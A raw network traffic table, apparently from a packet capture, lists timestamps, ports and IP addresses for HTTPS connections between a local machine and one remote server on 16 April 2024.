Apr 16, 2024 21:40:09.415292978 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.431338072 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.431412935 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.448429108 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.486558914 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.505280972 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.505484104 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.505559921 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.505635977 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.505708933 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.505795002 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.505803108 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.505812883 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.505848885 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.505887985 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.505975008 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.506040096 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.506069899 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.506069899 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.506074905 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.506256104 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.506302118 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.506819963 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.506819963 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.507250071 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.507313967 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.507498980 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.508203030 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.508236885 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.519395113 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.519515991 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.519601107 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.519685030 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.519716978 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.519746065 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.519777060 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.519825935 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.519912004 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.519943953 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.519958019 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.520051003 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.520087004 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.520118952 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.520848036 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.520865917 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.527230978 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.527434111 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.527503967 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.527631044 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.527633905 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.527653933 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.527661085 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.527937889 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.528134108 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.528207064 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.528258085 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.528261900 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.528325081 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.528692007 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.528696060 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.528873920 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.528924942 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.528929949 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.528983116 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.529031992 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.529102087 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.529170036 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.529201031 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.529212952 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.529215097 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.529273033 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.529366016 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.529581070 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.529782057 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.529784918 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.529892921 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.530433893 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.530595064 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.530595064 CEST	49787	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.530615091 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.530632019 CEST	443	49787	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.531508923 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.531646013 CEST	49787	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.531692028 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.532946110 CEST	49787	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.532960892 CEST	443	49787	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.533967018 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.536240101 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.536364079 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.536382914 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.536639929 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.536679983 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.536747932 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.536784887 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.536866903 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.536899090 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.536922932 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.537071943 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.537091970 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.537441969 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.537535906 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.537763119 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.537763119 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.538132906 CEST	49788	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.538192987 CEST	443	49788	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.542726040 CEST	49788	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.542726040 CEST	49788	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.542810917 CEST	443	49788	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.573515892 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.573769093 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.573772907 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.573810101 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.573847055 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.573885918 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.573981047 CEST	443	49784	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.574951887 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.575006962 CEST	49784	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.575066090 CEST	443	49784	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.575642109 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.575642109 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.575664997 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.575728893 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.576324940 CEST	443	49784	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.576425076 CEST	49784	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.576854944 CEST	49784	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.576924086 CEST	443	49784	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.576989889 CEST	49784	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.580123901 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.620402098 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.620409966 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.620518923 CEST	49784	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.620574951 CEST	443	49784	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.673718929 CEST	49784	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.727406979 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.727577925 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.727610111 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.727984905 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.728018045 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.728029013 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.728045940 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.728059053 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.728117943 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.728144884 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.728164911 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.728269100 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.728612900 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.728682041 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.728710890 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.729187012 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.729206085 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.729351044 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.729378939 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.729393959 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.729439020 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.729465961 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.729480028 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.729598999 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.729624033 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.730035067 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.733597994 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.733597040 CEST	49789	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.733633041 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.733644009 CEST	443	49789	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.734565973 CEST	49789	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.734565973 CEST	49789	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.734618902 CEST	443	49789	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.736803055 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.737179995 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.737201929 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.738121033 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.738337994 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.738620996 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.738682985 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.738838911 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.738852978 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.759742975 CEST	443	49788	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.760929108 CEST	443	49787	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.780668020 CEST	49788	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.780709982 CEST	49787	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.780728102 CEST	443	49787	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.780736923 CEST	443	49788	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.781138897 CEST	443	49788	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.783319950 CEST	49788	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.783396006 CEST	443	49788	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.783499002 CEST	49788	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.783499002 CEST	49788	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.783539057 CEST	443	49788	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.784548998 CEST	443	49787	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.784709930 CEST	49787	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.785068035 CEST	49787	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.785193920 CEST	49787	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.785197973 CEST	443	49787	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.785245895 CEST	443	49787	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.791939020 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.808243990 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.808269024 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.839252949 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.839313030 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.839369059 CEST	49788	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.841284037 CEST	49787	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.841305017 CEST	443	49787	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.884246111 CEST	49787	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.953094959 CEST	443	49789	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.953377008 CEST	49789	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.953398943 CEST	443	49789	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.953871965 CEST	443	49789	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.954514027 CEST	49789	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.954514027 CEST	49789	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.954564095 CEST	443	49789	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.954623938 CEST	443	49789	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.008246899 CEST	49789	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.236742973 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.236890078 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.236947060 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.236996889 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.237099886 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.237153053 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.237166882 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.237246037 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.237299919 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.237312078 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.237401009 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.237451077 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.237462044 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.237535000 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.237596989 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.237608910 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.289999962 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.292658091 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.292886972 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.292947054 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.292963982 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.293224096 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.293298960 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.293303013 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.293332100 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.293385029 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.293411970 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.293910027 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.293973923 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.293986082 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.294037104 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.294096947 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.294102907 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.294126034 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.294190884 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.294207096 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.294851065 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.294903994 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.294914961 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.294992924 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.295073032 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.295095921 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.295124054 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.295166016 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.295176983 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.295650959 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.295706987 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.295720100 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.321239948 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.321382046 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.321435928 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.321454048 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.321538925 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.321578979 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.321585894 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.321764946 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.321804047 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.321810961 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.321933985 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.321981907 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.321989059 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.322120905 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.322175026 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.322184086 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.322290897 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.322340012 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.322346926 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.322433949 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.322475910 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.322482109 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.323074102 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.323122978 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.323132038 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.323224068 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.323266029 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.323272943 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.323368073 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.323407888 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.323414087 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.324032068 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.324076891 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.324084997 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.324210882 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.324249029 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.324255943 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.324867010 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.324954033 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.324985027 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.324995995 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.325032949 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.325046062 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.325202942 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.325242996 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.325249910 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.325865030 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.325913906 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.325922966 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.326030970 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.326081038 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.326087952 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.326174021 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.326214075 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.326220989 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.326833963 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.326881886 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.326889038 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.326992989 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.327034950 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.327042103 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.335947037 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.336002111 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.349636078 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.349708080 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.349735022 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.349822998 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.349875927 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.349890947 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.349961996 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.350011110 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.350023031 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.350332022 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.350406885 CEST	49783	443	192.168.2.4	172.67.191.147
